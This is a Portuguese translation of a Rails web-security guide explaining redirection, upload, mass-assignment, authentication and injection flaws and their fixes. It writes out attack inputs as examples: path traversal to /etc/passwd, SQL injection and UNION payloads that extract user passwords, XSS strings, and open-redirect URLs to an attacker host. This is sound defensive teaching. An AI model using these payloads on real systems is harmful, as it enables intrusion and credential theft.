Sempre que for possível que o usuário forneça (partes) da URL para redirecionamento, essa será uma possível vulnerabilidade. O ataque mais óbvio seria redirecionar usuários para uma aplicação web falsa que se pareça exatamente com a original. Esse pseudo ataque de phishing funciona enviando um link por email para os usuários, injetando o link por XSS na aplicação web ou colocando o link em um site externo. Isso não levanta suspeitas, porque o link começa com a URL da aplicação web e a URL do site malicioso está escondida no parâmetro de redirecionamento: http://www.example.com/site/redirect?to= www.attacker.com. Aqui está um exemplo de uma action ‘legacy’:

def legacy

redirect_to(params.update(:action=>’main’))

end

Isto irá redirecionar o usuário para a action ‘main’ se ele tentar acessar a action ‘legacy’. A intenção foi preservar os parãmetros da URL para a action ‘legacy’ e passá-los para a action ‘main’. Entretanto, isso pode ser explorado por um atacante caso ele inclua uma chave ‘host’ na URL

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com Se este parâmetro estiver no final da URL ele dificilmente será percebido e fará com que o usuário seja redirecionado para o host attacker.com. Uma medida preventiva simples seria incluir apenas os parâmetros esperados na action ‘legacy’ (novamente uma tática de whitelist, ao contrário de remover parâmetros inesperados). E se você redirecionar para uma URL, verifique-a com uma white list ou expressão regular.

4.1.1 XSS Auto-contido

Outro ataque de redirecionamento e XSS auto-contido funciona no Firefox e no Opera, utilizando o protocolo de dados. Este protocolo exibe seu conteúdo diretamente no navegador e pode ser qualquer coisa, de HTML e JavaScript a imagens inteiras:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K Este exemplo é um JavaScript codificado em Base64 que exibe uma simples caixa de mensagem. Em uma URL de redirecionamento, um atacante poderia fazer um redirecionamento para essa URL com um código malicioso embutido. Como medida preventiva, não permita que o usuário forneça partes da URL (ou toda ela) para redirecionamento.

4.2 Uploads de Arquivos

— Certifique-se de que uploads de arquivos não sobrescrevem arquivos importantes e processe arquivos de mídia de forma assíncrona.

Muitas aplicações web permitem que usuários façam upload de arquivos. Nomes de arquivos que o usuário possa (parcialmente) escolher, devem sempre ser filtrados, uma vez que um atacante pode utilizar um nome de arquivo malicioso para sobrescrever qualquer arquivo no servidor. Se você armazenar os arquivos em /var/www/uploads, e o usuário fornecer um nome como “../../../etc/passwd”, isso pode sobrescrever um arquivo importante. Óbviamente o interpretador Ruby precisaria das permissões necessárias para fazer isso – uma razão a mais para executar web servers, servidores de bancos de dados e outros programas como um usuário Unix menos privilegiado.

When filtering user input file names, don’t try to remove malicious parts. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “….//” – the result will be “../”. It is best to use a whitelist approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn’t a valid file name, reject it (or replace not accepted characters), but don’t remove them. Here is the file name sanitizer from the attachment_fu plugin:

Quando estiver filtrando o nome de arquivos enviado por usuários, não tente remover os trechos maliciósos. Pensei na situação onde a aplicação remove todos os “../” do nome do arquivo e o atacante usa uma string como “….//” – o resultado será “../”. É melhor usar uma abordagem whitelist, que verifique a validate do nome do arquivo com uma lista de carácteres aceitos. Isto é o oposto de uma abordagem blacklist que tem remover o carácteres não aceitos. No caso de não ser um nome válido, rejeite-o(ou substitua os carácteres não aceitos), mas não remova-os. Aqui está o sanitizador de nome do plugin attachment_fu:

def sanitize_filename(filename)
returning filename.strip do |name|
# NOTE: File.basename doesn’t work right with Windows paths on Unix
# get only the filename, not the whole path
name.gsub! /^.*(\\|\/)/, ”
# Finally, replace all non alphanumeric, underscore
# or periods with underscore name.gsub! /[^\w\.\-]/, ‘_’ end end

Uma desvantagem significativa de processar uploads de arquivos de forma síncrona (como o plugin attachment_fu pode fazer com imagens) é sua vulnerabilidade para ataques de denial-of-service. Um atacante pode iniciar, de forma síncrona, uploads de arquivos a partir de vários computadores, o que aumentaria a carga no servidor e poderia eventualmente travá-lo.

A solução para isso é processar arquivos de mídia de forma assíncrona: Salve o arquivo e agende um request para processamento no banco de dados. Um segundo processo cuidará do processamento do arquivo em background.

4.3 Código executável em uploads de arquivos

— Arquivos fonte em uploads de arquivos podem ser executados quando colocados em diretórios específicos. Não coloque o resultado de uploads na pasta ‘/public’ da sua aplicação Rails se este for o diretório ‘home’ do Apache.

O popular servidor web Apache possui uma opção chamada DocumentRoot. Este é o diretório ‘home’ do web site, tudo nesta árvore de diretórios será servido pelo servidor web. Caso existam arquivos com uma certa extensão, o código que estiver ali dentro será executado quando solicitado. Exemplos disso são arquivos PHP e CGI. Agora pense em uma situação onde um atacante envia um arquivo file.cgi com código dentro, o qual será executado quando alguém fizer download deste arquivo.

Se o seu DocumentRoot do Apache apontar para a pasta ‘public’ da sua aplicação Rails, não coloque os arquivos recebidos ali, armazene os arquivos pelo menos um nível acima.

4.4 Downloads de arquivos

— Certifique-se de que os usuários não possam fazer download de arquivos arbitrários.

Assim como você deve filtrar o nome dos arquivos para upload, você deve fazer o mesmo com os downloads. O método send_file envia arquivos do servidor para o cliente. Se você utilizar um nome de arquivo informado pelo usuário, sem filtrar, pode-se realizar o download de qualquer arquivo:

send_file(‘/var/www/uploads/’ + params[:filename])

Basta fornecer um nome de arquivo como “../../../etc/passwd” para realizar o download das informações de login do servidor. Uma solução simples contra isso é verificar que o arquivo encontra-se no diretório esperado:

basename = File.expand_path(File.join(File.dirname(__FILE__), ‘../../files’))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename =!
File.expand_path(File.join(File.dirname(filename), ‘../../../’))
send_file filename, :disposition => ‘inline’

Outra estratégia (adicional) é armazenar o nome dos arquivos no banco de dados e nomear os arquivos em disco a partir dos ids dos registros. Esta também é uma boa estratégia para evitar que seja executado qualquer código existente nos arquivos enviados. O plugin attachment_fu faz isso de forma similar.

5 Segurança Administrativa e em Intranets

— Interfaces administrativas e de intranet são alvos populares para ataques, porque eles permitem acesso privilegiado. Apesar desse tipo de situação exigir que diversas medidas de segurança adicionais sejam adotadas, o oposto é o que realmente ocorre no mundo real.

Em 2007 foi criado o primeiro Trojan sob medida o qual roubou informações de uma Intranet, chamada “The Monster for employers” (Monster.com), uma aplicação web para recrutamento de profissionais. Trojans criados sob medida são muito raros, até o momento, e o risco é relativamente baixo, mas esta certamente é uma possibilidade e um exemplo de como a segurança da máquina cliente é importante também. Entretanto, a maior ameaça para aplicações administrativas e de Intranet são o XSS e o CSRF.

XSS Se sua aplicação re-exibe input malicioso de usuários da extranet, a aplicação será vulnerável a XSS. Nomes de usuários, comentários, relatórios de spam, endereços de pedidos são apenas alguns exemplos comuns, onde pode existir XSS.

Existindo pelo menos um único local na interface de administração ou na Intranet onde os dados adicionados pelos usuários não tenham sido devidamente sanitizados faz com que toda a aplicação fique vunerável. Exploits possíveis incluem roubar o cookie privilegiado de um administrador, injetar um iframe para roubar o password do administrador ou instalar software malicioso através de falhas de segurança no browser, de forma a tomar o controle do computador do administrador.

Leia a seção sobre Injeção para aprender medidas preventivas contra XSS. É recomendado utilizar o plugin SafeErb também em Intranets ou interfaces administrativas.

CSRF Cross-Site Reference Forgery (CSRF) é um método de ataque bastante poderoso, o qual permite que o atacante faça tudo que um administrador ou usário da Intranet podem fazer. Como você já viu acima como o CSRF funciona, aqui estão alguns exemplos do que atacantes podem fazer na Intranet ou interface administrativas.

Um exemplo real é uma reconfiguração de roteador por CSRF. Os atacantes enviam um e-mail malicioso, contendo CSRF, para usuários mexicanos. O e-mail afirma que existe um e-card aguardando por eles, mas também contém uma tag image que resulta em request HTTP Get para reconfigurar o roteador do usuário (o qual é um modelo popular no México). O request altera as configurações de DNS de forma que requests para um banco sediado no México sejam mapeados para o site do atacante. Todos que acessarem o site do banco através deste roteador verão o site falso do atacante e terão seus dados roubados.

Outro exemplo altera o endereço de e-mail e o password do Goggle Adsense através de CSRF. Caso a vítima se autentique no Google Adsense, a interface administrativa para campanhas de propaganda do Google, um atacante pode roubar seus dados.

Outro ataque popular é fazer com que sua aplicação web, blog ou fórum espalhem XSS malicioso. Óbviamente o atacante precisa conhecer a estrutura de URL, mas a maioria das URLs do Rails são bastante simples ou são fáceis de entender, caso esta seja a interface admninistrativa de uma aplicação open-source. O atacante pode até mesmo tentar descobrir essa estrutura apenas incluindo tags IMG maliciosas que tentem cada combinação possível.

Para medidas preventivas contra CSRF em interfaces admninistrativas e aplicações de Intranet, leia a seção de CSRF.

5.1 Precaues adicionais

A interface de administração comum funciona da seguinte maneira: está localizada em www.example.com/admin, pode ser acessada somente se a flag ‘admin’ estiver definida como ‘true’ no model User, re-apresenta input do usuário e permite que o administrador apague/adicione/edite quaisquer dados. Aqui vão algumas idéias sobre isso:

  • É muito importante que se pense no pior caso: O que acontece caso alguém se apodere do meu cookie ou credenciais de usuário? Você pode introduzir perfis na interface administrativa para limitar as possibilidades do atacante. Ou que tal credenciais de login especiais para a interface administrativa, diferentes das normalmente utilizadas para a parte pública da aplicação? Ou senhas especiais para ações realmente críticas?
  • Será que o administrador realmente precisa ter acesso a interface de administração a partir de qualquer lugar no mundo? Pense sobre limitar o login à uma lista de endereços de IP de origem. Examine o request.remote_ip para verificar o endereço IP do usuário. Isso não é algo “à prova de balas”, mas é uma grande barreira. Lembre-se que o atacante pode estar utilizando um proxy.
  • Coloque a interface administrativa em um sub-domínio especial, como admin.application.com e faça com que esta seja uma aplicação separada com seu próprio controle de usuários. Isso faz com que seja impossível roubar o cookie do administrador a partir do domínio normal, www.application.com. Isso acontece devido à política de mesma origem no seu browser: um script injetado (XSS) em www.application.com não pode ler o cookie criado por admin.application.com e vice-versa.

6 Mass assignment

— Sem quaisquer precauções model.new(params[:model]) permite que atacantes definam o valor de qualquer coluna no seu banco de dados.

O recurso de mass assignment (atribuição em massa) pode se tornar um problema, pois permite que um atacante defina qualquer atributo do model, através da manipulação do hash passado para o método new() de um model:

def signup

params[:user] #=> {:name => “ow3ned”, :admin => true} @user = User.new(params[:user])

end

O recurso de mass-assignment economiza muito trabalho, pois você não precisa definir cada valor individualmente. Apenas passe um hash com valores para o método new ou attributes= para definir os atributos do model com os valores deste hash. O problema é que esse recurso é geralmente utilizado em conjunto com o hash de parâmetros (params), disponível no controller, o qual pode ser manipulado por um atacante. Ele pode fazer isso alterando a URL da seguinte forma:

“name”:http://www.example.com/user/signup?user=ow3ned&amp;user[admin]=1

Isso irá definir os seguintes parâmetros no controller:

params[:user] #=> {:name => “ow3ned”, :admin => true}

Logo, se você criar um novo usuário utilizando mass-assignment, pode ser muito fácil se tornar um administrador.

Perceba que esta vulnerabilidade não é restrita a colunas de banco de dados. Qual método setter, que não seja explicitamente protegido, é acessível via attributes=. De fato, esta vulnerabilidade e estendida mais ainda com introdução do mass-assignment aninhado (e objetos form aninhados) no Rails 2.3. A declaração accepts_nested_attributes_for nos provê a possibilidade de estender o mass-assignment para as associações (has_many, has_one, has_and_belongs_to_many). Por exemplo:

class Person < ActiveRecord::Base
has_many :credits

accepts_nested_attributes_for :children
end

class Child < ActiveRecord::Base belongs_to :person
end

Como resultado, a vulnerabilidade é estendida além de apenas expor colunas para atribuição, permitindo o atacante a habilidade de criar registros inteiros em tabelas associadas (filho, neste caso).

6.1 Medidas preventivas

Para evitar que isso ocorra, o Rails fornece dois métodos da classe ActiveRecord para controlar acesso aos seus atributos. O método attr_protected recebe uma lista de atributos que não serão acessíveis por mass-assignment. Por exemplo:

attr_protected :admin

Uma forma muito melhor, porque segue o princípio de whitelist, é o método attraccessible. Ele é exatamente o oposto do método attrprotected, porque recebe uma lista com os atributos que serão acessíveis. Todos os demais atributos estarão protegidos. Dessa forma você não irá esquecer de proteger os atributos que você for adicionando durante o desenvolvimento. Aqui está um exemplo:

attr_accessible :name

Se você quiser definir o valor de um atributo protegido, terá que defini-lo de forma individual:

params[:user] #=> {:name => “ow3ned”, :admin => true}
@user = User.new(params[:user])
@user.admin #=> false # not mass-assigned
@user.admin = true
@user.admin #=> true

7. Gerenciamento de usuários

— Quase todas as aplicações web têm que lidar com autorização e autenticação. Ao invés de criar as suas próprias soluções, é aconselhável utilizar plugins já conhecidos. Mas mantenha-os atualizados também. Algumas precauções adicionais podem tornar sua aplicação ainda mais segura.

Existem alguns plugins para autorização e autenticação disponíveis para o Rails. Um que seja bom deverá salvar apenas passwords encriptados, não passwords em claro. O plugin mais popular é o restfulauthentication_, o qual também possui proteção contra fixação de sessão. Entretanto, versões mais antigas permitiam que você se logassse sem um nome de usuário ou password em algumas circunstâncias.

Cada novo usuário ganha um código de ativação para ativar sua conta quando recebe um email contendo um link. Após ativar a conta, a coluna com o código de ativação terá seu valor atualizado para NULL no banco de dados. Se alguem requisitar uma URL como abaixo, ele deve estar logado com o primeiro usuário ativo encontrado no banco de dados (e existem changes que ele seja o administrador):

http://localhost:3006/user/activate

http://localhost:3006/user/activate?id=

Isso é possível porque em alguns servidores, caso o parâmetro id seja informado dessa forma, ele será nil quando acessado através de params[:id]. Entretanto, aqui está o finder utilizado na action de ativação:

User.find_by_activation_code(params[:id])

Se o parâmetro for nil, o SQL resultante seria

SELECT * FROM users WHERE (users.<notextile><tt>activation_code</tt></notextile> IS NULL) LIMIT 1

encontrando assim o primeiro usuário no banco de dados, retornando-o e logando-o. Você pode encontrar mais informações sobre isso no post do meu blog. É aconselhável atualizar seus plugins frequentemente. Além disso, você pode revisar sua aplicação para encontrar mais falhas como esta.

7.1 Ataques de força bruta contra contas

— Ataques de fora bruta sobre contas são ataques de tentativa e erro contra as credenciais de login. Defenda-se destes ataques utilizando mensagens de erro mais genéricas e possivelmente solicitando que seja informado um CAPTCHA.

Uma lista com os nomes de usuário da sua aplicação pode ser mal utilizada, usando-se força bruta para tentar descobrir os respectivos passwords, porque a maioria das pessoas não utiliza passwords sofisticados. A maioria dos passwords são uma combinação de palavras do dicionário e possivelmente números. Assim, de posse de uma lista com os nomes de usuários e um dicionário, um programa automático pode encontrar o password correto em questão de minutos.

Devido a este fato, a maioria das aplicações web exibirão uma mensagem de erro genérica “nome de usuário ou password incorretos”, caso um destes esteja incorreto. Se fosse exibida uma mensagem dizendo “o nome de usuário que você forneceu não foi encontrado”, um atacante poderia automaticamente criar uma lista de nomes de usuários.

Entretanto, o que a maioria dos projetistas de aplicações web negligenciam, são as páginas para passwords esquecidos. estas páginas comumente admitem que o nome de usuário ou endereço de email fornecido (não) foi encontrado. Isso permite que o atacante crie uma lista de nomes de usuários e utilize força bruta contra as respectivas contas.

Para atenuar tais ataques, exiba uma mensagem de erro genérica também nas páginas para passwords esquecidos. Além disso, você pode solicitar que seja informado um CAPTCHA após um certo número de falhas de autenticação vindas de um determinado endereço IP. Note, entretanto, que esta não é uma solução à prova de balas contra programas automáticos, porque estes programas podem alterar seus endereços de IP exatamente na mesma frequência. De qualquer forma, isso dificulta os ataques.

7.2 Sequestro de conta

— Muitas aplicações web tornam fácil sequestrar contas de usuários. Porque não ser diferente e tornar isso mais difícil?

7.2.1 Passwords

Pense em uma situação onde um atacante roubou o cookie de sessão de um usuário e dessa forma pode compartilhar a utilização da aplicação. Se alterar o password for algo simples, o atacante irá sequestrar a conta com apenas alguns cliques. Ou se o formulário para alteração do password for vulnerável a CSRF, o atacante será capaz de alterar o password da vítima ludibriando-a até uma página web com uma tag IMG manipulada, a qual executa o CSRF. Como medida preventiva, faça com que o formulário para troca de password seja protegido contra CSRF, óbvio. E exija que o usuário informe o password antigo quando for mudá-lo.

7.2.2 E-Mail

Entretanto, o atacante também pode roubar a conta alterando o endereço de email. Após alterá-lo, ele irá para a página de password esquecido e o (possivelmente novo) password será enviado para o endereço de email do atacante. Como medida preventiva solicite que o usuário também informe seu password quando for alterar seu endereço de email.

7.2.3 Outros

Dependendo da sua aplicação web, podem haver mais formas de sequestrar a conta de um usuário. Em muitos casos XSS e CSRF ajudarão nisto. Por exemplo, como uma vulnerabilidade no Google Mail. Neste ataque de prova de conceito, a vítima seria levada a um web site controlado pelo atacante. Neste site existe uma tag IMG preparada que resulta em um request HTTP GET para alterar as configurações de filtros do Google Mail. Se a vítima estiver logada no Google Mail, o atacante poderia alterar os filtros para redirecionar todos os emails para o seu endereço de email. Isto é praticamente tão danoso quanto capturar toda a conta. Como uma medida preventiva, reveja a lógica da sua aplicação e elimine todas as vulnerábilidades de XSS e CSRF.

7.3 CAPTCHAs

— _Um CAPTCHA é um teste do tipo desafio-resposta usado para determinar que a resposta não foi gerada por um computador. É geralmente utilizado para proteger formulários de comentários de bots de spam automáticos, solicitando ao usuário que digite as letras presentes em uma imagem distorcida. A idéia de um CAPTCHA negativo não é pedir que um usuário prove que é humano, mas sim revelar que um robô realmente é um robô.

Mas robôs de spam (bots) não são o único problema, existem também os bots de login automático. Uma API para CAPTCHA popular é a reCAPTCHA a qual exibe duas imagens distorcidas de palavras de livros antigos. Também adiciona uma linha inclinada, ao invés de um fundo distorcido e letras deformadas como os primeiros CAPTCHAS fizeram, porque o segundo caso tinha problemas. Como um bonus, utilizar reCAPTCHA ajuda a digitalizar livros antigos. O ReCAPTCHA é também um plugin para o Rails com o mesmo nome da API.

Você vai receber duas chaves da API, uma pública e outra privada, a qual você deve colocar no eu ambiente Rails. Após isso você pode utilizar o método recaptcha_tags na sua view e o método verify_recaptcha no controller. verify_recaptcha retornará false caso a validação falhe. O problema com CAPTCHA é que eles sào irritantes. Além disso, alguns usuários com deficiências visuais têm achado certos tipos de CAPTCHAs distorcidos difíceis de ler. A idéia de CAPTCHAs negativos não é pedir ao usuário uma prova de que ele é humano, mas revelar que um robô de spam é um bot.

A maioria dos bots é realmente burro, eles rastreiam a web e colocam spam em cada campo de formulário que eles conseguem encontrar. CAPTCHAs negativos usam isso como vantagem e incluem um campo “honeypot” no formulário que ficará escondido de usuários humanos através de CSS ou JavaScript.

Aqui estão algumas idéias de como esconder campos “honeypot” através de JavaScript e/ou CSS:

  • posicione os campos fora da área visível da página
  • torne os elementos muito pequenos ou dê a eles a mesma cor do background da página
  • exiba os campos, mas diga aos humanos que deixe-os vazios

O CAPTCHA negativo mais simples é um campo “honeypot” escondido. Do lado servidor, você irá verificar o valor do campo: se ele contiver qualquer texto, deve ser um bot. Assim, você pode tanto ignorar o post ou retornar um resultado positivo, mas não salvar o post no banco de dados. Dessa forma o bot ficará satisfeito e seguirá adiante. Você pode fazer isso com usuários que causam problemas também.

Você pode encontrar CAPTCHAs negativos mais sofisticados no post do blog do Ned Batchelder’s

  • Inclua um campo com o timestamp UTC atual e verifique-o no servidor. Se o valor estiver muito distante no passado, ou se estiver no futuro, o formulário é inválido.
  • Randomize o nome dos campos
  • Inclua mais de um campo “honeypot”, de todos os tipos, incluindo botões para submissão dos formulários.

Note que isso lhe protege apenas de bots automatizados, bots específicos feitos sob encomenda não podem ser parados dessa forma. Logo CAPTCHAs negativos podem não ser bons para proteger formulários de login.

7.4 Logging

— Diga ao Rails para não colocar passwords nos arquivos de log.

Por padrão, o Rails loga todos os requests feitos para a aplicação web. Porém, arquivos de log podem ser um grande problema de segurança, uma vez que podem conter credenciais de login, números de cartão de crédito, etc. Quando estiver modelando os conceitos de segurança de uma aplicação web, você deve pensar também sobre o que acontece caso um atacante consiga acesso (total) ao servidor web. Criptografar segredos e passwords no banco de dados será praticamente inútil se os arquivos de log listá-los em claro. Você pode filtrar certos parâmetros do request para que nào sejam gravados nos seus arquivos de log utilizando o método filter_parameter_logging em um controller. Estes parâmetros seram marcados como [FILTERED] no log.

filter_parameter_logging :password

7.5 Bons passwords

— Você acha difícil lembrar de todos os seus passwords? Ao invés de escrevê-los em um papel, utilize a letra inicial de cada palavra em uma frase fácil de lembrar.

Bruce Schneier, um especialista em segurança, analisou 34.000 nomes de usuários e passwords reais do ataque de phishing ao MySpace mencionado anteriormente. Ele descobriu que a maioria dos passwords são relativamente fáceis de quebrar. Os 20 passwords mais comuns são:

password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.

É interessante que apenas 4% destes passwords são palavras encontradas em dicionários e a grande maioria é alfa-numérica. Entretanto, dicionários para quebra de passwords contêm boa parte dos passwords atualmente utilizados e eles tentam todos os tipos de combinações. Se um atacante souber seu nome de usuário e você usar um password fraco, sua conta será facilmente roubada.

Um bom password é uma longa combinação alfa-numérica de caracteres maiúsculos e minúsculos. Uma vez que passwords deste tipo são bem difíceis de lembrar, é aconselhável informar apenas as primeiras letras de uma frase fácil de lembrar. Por exemplo “Mais vale um pássaro na mão do que dois voando” seria “Mvupnmdqdv”. Perceba que este é apenas um exemplo, você não deve utilizar frases tão conhecidas quanto essa, uma vez que essas frases também podem estar presentes em um dicionário para quebra de passwords.

7.6 Expressões regulares

— Um problema comum em expressões regulares no Ruby é casar o início e o fim de uma string com ^ e $, ao invés de \A e \z.

O Ruby utiliza uma abordagem um pouco diferente de várias outras linguagens para casar o início e o fim de uma string. É por isso que até mesmo vários livros sobre Ruby e Rails explicam isso de forma errada. Mas como isso pode ser uma ameaça de segurança? Imagine que você tenha um model File e você valide o nome do arquivo usando uma expressão regular como esta:

class File < ActiveRecord::Base

validates_format_of :name, :with => /^[\w\.\-\+]+$/

end

Isso siginifica que, ao salvar, o model irá validar que o nome do arquivo consiste apenas de caracteres alfa-numéricos, pontos, + e -. O programador adicionou \^ e $ de forma que o nome do arquivo contenha estes caracteres do início ao fim da string. Entretanto, em ruby ^ e $ casam o início e fim da linha. Dessa forma, um nome de arquivo como o seguinte passa pela validação sem problemas:

file.txt%0A<script>alert(‘hello’)</script>

Onde %0A é uma nova linha em codificação de URL, logo o Rails irá converter isso automaticamente para “file.txt\n<script>alert(‘hello’)</script>”. Este nome de arquivo passa pelo filtro porque a expressão regular casa com a string – até o final da linha, e o resto não importa. A expressão correta seria:

/\A[\w\.\-\+]+\z/

7.7 Aumento de privilégios

— Alterar um único parâmetro pode permitir acesso não autorizado ao usuário. Lembre-se de que todo parâmetro pode ser alterado, não importa o quanto você o esconda ou ofusque.

O parâmetro mais comum que o usuário pode alterar é o parâmetro id, como em “:id”:http://www.domain.com/project/1, onde 1 é o id. Esse parâmetro estará disponível no params no seu controller. Lá, você provavelmente fará algo como isso:

@project = Project.find(params[:id])

Isso está correto para algumas aplicações web, mas provavelmente não está certo se o usuário não estiver autorizado a visualizar todos os projetos. Se o usuário alterar o id para 42, e ele não estiver autorizado a visualizar essas informações, ele terá acesso a isso de qualquer forma. Ao invés disso, pesquise também as permissões de acesso do usuário:

@project = @current_user.projects.find(params[:id])

Dependendo da sua aplicação web, podem existir muitos outros parâmetros que o usuário pode alterar. Como regra, nenhuma informação fornecida pelo usuário é segura, até que prove o contrário, e todo parâmetro vindo do usuário foi possivelmente manipulado.

Não se engane com segurança através de ofuscação e JavaScript. O plugin Web Developer Toolbar para o Mozilla Firefox permite que você altere todos os campos escondidos de um formulário. JavaScript pode ser utilizado para validar os dados fornecidos por usuários, mas certamente não impedem que atacantes enviem requests inesperados com valores maliciosos. O Live Http Headers para o Mozilla Firefox faz log de cada request e é capaz de repeti-los e alterá-los. Essa é uma forma fácil de burlar validações de JavaScript. Existem até mesmo proxies para o lado cliente que permitem que você intercepte qualquer request e response provenientes da Internet ou sendo enviados para ela.

8. Injeção

— _Injeção é uma categoria de ataques que introduzem código malicioso ou parâmetros em uma aplicação web de forma a executar estes códigos dentro do contexto de segurança da aplicação. Os exemplos mais proeminentes de injeção são o cross-site scriptintg (XSS) e o SQL injection.

Injeção é algo complicado, porque um mesmo código ou parâmetro pode ser malicioso em um contexto e completamente inofensivo em outro. Um contexto pode ser um script, uma query ou linguagem de programação, o shell ou um método do Ruby/Rails. As seções a seguir cobrem contextos importantes onde ataques por injeção podem ocorrer. A primeira seção, entretanto, cobre uma decisão arquitetural relacionada à injeção.

8.1 Whitelists versus Blacklists

— Quando estiver sanitizando, protegendo ou verificando algo, use whitelists ao invés de blacklists.

Uma blacklist pode ser uma lista com endereços de e-mail inválidos, ações não públicas ou tags HTML ruins. Este é o oposto de uma whitelist, a qual lista os endereços de e-mail válidos, ações públicas, tags HTML permitidas e assim por diante. Apesar de fato de que em alguns casos não é possível criar whitelists (um filtro para SPAM, por exemplo), dê preferência a utilizar uma abordagem por whitelists:

  • Utilize before_filter :only => […] ao invés de except => […]. Desta forma você não se esquece de desligar o filtro para actions recém-adicionadas.
  • Utilize attr_accessible ao invés de attr_protected. Veja a seção sobre mass-assignment para mais detalhes.
  • Permita <strong> ao invés de remover <script> contra Cross-Site Scripting (XSS). Veja os detalhes abaixo.
  • Não tente corrigir input dos usuários através de blacklists:

Isso fará com que o ataque funcione: “<sc<script>ript>”.gsub(“<script>”, “”)

Mas recuse input mal formatado.

Whitelists também são uma boa abordagem contra o fator humano de esquecer algo na blacklist.

8.2 Injection de SQL

— Graças a métodos espertos, isso raramente é um problema em aplicações Rails. Entretanto, este é um ataque comum e bastante devastador em aplicações web, logo é importante entender o problema.

8.2.1 Introdução

Ataques por injeção de SQL procuram influenciar consultas ao banco de dados através da manipulação de parâmetros da aplicação web. Um objetivo popular de ataques de injeção de SQL é burlar autorização. Outro objetivo é realizar manipulação de dados ou ler dados arbitrários. Aqui está um exemplo de como não utilizar dados de entrada em uma query:

Project.find(:all, :conditions => “name = ‘#{params[:name]}'”)

Esta poderia ser uma action para buscar e o usuário poderia informar o nome do projeto que ele deseja encontrar. Se um usuário informasse ’ OR 1=1’, a query SQL resultante seria:

SELECT * FROM projects WHERE name = ” OR 1 –‘

Os dois traços iniciam um comentário ignorando tudo o que vem a seguir. Assim a query retorna todos os rgistros da tabela projects incluindo aqueles que deveriam ficar escondidos do usuário. Isso acontece porque a condição é verdadeira para todos os registros.

8.2.2 Burlando autorização

Geralmente uma aplicação web inclui controle de acesso. O usuário informa suas credenciais para login, a aplicação web tenta encontrar o respectivo registro na tabela de usuários. A aplicação permite acesso quando encontra um registro. Entretanto, um atacante possivelmente poderia burlar esta verificação com injeção de SQL. O exemplo a seguir exibe uma query SQL típica em uma aplicação Rails, utilizada para encontrar o primeiro registro na tabela users que case os parâmetros com credenciais de login fornecidos pelo usuário.

User.find(:first, “login = ‘#{params[:name]}’ AND password = ‘#{params[:password]}'”)

Se um atacante entrar ’ OR ‘1’=‘1 como o nome, e ’ OR ’2’>’1 como o password, a query SQL resultante seria:

SELECT * FROM users WHERE login = ” OR ‘1’=’1′ AND password = ” OR ‘2’&gt;’1′ LIMIT 1

Isso irá simplesmente retornar o primeiro registro no banco de dados e dará acesso ao usuário.

8.2.3 Leitura não permitida

A declaração UNION conecta duas queries SQL e retorna os dados em um único conjunto. Um atacante pode usar isso para ler dados arbitrários do banco de dados. Vamos usar o exemplo já visto acima:

Project.find(:all, :conditions => “name = ‘#{params[:name]}'”)

E agora vamos injetar outra query utilizando a declaração UNION

‘) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users —

Isso irá resultar na seguinte query SQL:

SELECT * FROM projects WHERE (name = ”) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users –‘)

O resultado não será uma lista de projetos (porque não existe projeto com um nome vazio), mas uma lista com os nomes dos usuários e seus passwords. Espera-se que você tenha criptografado os passwords no banco de dados! O único problema para o atacante é que o número de colunas deve ser o mesmo em ambas as queries. É por isso que a segunda query inclue uma lista de uns (1), o qual será sempre o valor 1, de forma a casar o número de colunas na primeira query.

Além disso, a segunda query renomeia algumas colunas com a declaração AS de forma a fazer com que a aplicação web exiba os valores da coluna da tabela users. Certifique-se de atualizar o seu Rails para ao menos a versão 2.1.1.

8.2.4 Medidas preventivas

O Ruby on Rails tem um filtro nativo para caracteres SQL especiais, o qual irá escapar ’ , ” , o caracter NULL e quebras de linhas. Utilizar Model.find(id) ou Model.findby_something(something) automaticamente aplica esta medida preventiva_. Mas em fragmentos de SQL, especialmente em fragmentos com condições (:conditions => “…”), o método connection.execute() ou Model.findby_sql(), essas medidas devem ser aplicadas manualmente.

Ao invés de passar uma string para a opção de condições, você pode passar um array para sanitizar suas strings:

Model.find(:first, :conditions => [“login = ? AND password = ?”, entered_user_name, entered_password])

Como você pode ver, a primeira parte do array é um fragmento SQL com pontos de interrogação. As versões sanitizadas das variáveis na segunda parte do array subsituem as interrogações. Ou você pode fornecer um, hash para o mesmo resultado:

Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})

A forma de array ou hash estão disponíveis apenas em instâncias de models. Você pode utilizar sanitize_sql() nos demais locais. Torne um hábito pensar sobre as consequências com segurança quando estiver utilizando um string externa no SQL.

8.3 Cross-Site Scripting (XSS)

— As vulnearabilidades mais conhecidas e mais devastadoras em aplicações web são as de XSS. O ataque malicioso injeta código executável do lado cliente. O Rails fornece métodos auxiliares (helpers) para nos defender destes ataques.

8.3.1 Pontos de entrada

Um ponde de entrada é uma URL vulnerável e seus parâmetros a partir de onde um atacante pode iniciar um ataque.

Os pontos de entrada mais comuns são as postagens de mensagens, comentários de usuários e livros de visitas, mas títulos de projetos, nomes de documentos e páginas com resultados de buscas também têm se mostrado vulneráveis – praticamente todo lugar onde o usuário pode inserir dados. Porém os dados não necessariamente precisam vir de caixas de texto em páginas web, podem ser também em qualquer parâmetro da URL – obviamente escondido ou interno. Lembre-se de que o usuário pode interceptar qualquer tráfico. Aplicações como o plugin para Firefox Live HTTP Headers, ou proxies do lado cliente tornam fácil alterar requisições.

Ataques por XSS funcionam da seguinte forma: Um atacante injeta algum código, a aplicação web salva este código e o exibe em uma página, mais tarde apresentada à uma vítima. A maioria dos exemplos de XSS simplesmente exibem uma caixa de alerta, mas a coisa toda é mais poderosa do que isso. XSS pode roubar o cookie, capturar a sessão, redirecionar a vítima para um website falso, exibir propagandas em benefício do atacante, alterar elementos no website para conseguir informações ou instalar software malicioso através de falhas de segurança no navegador.

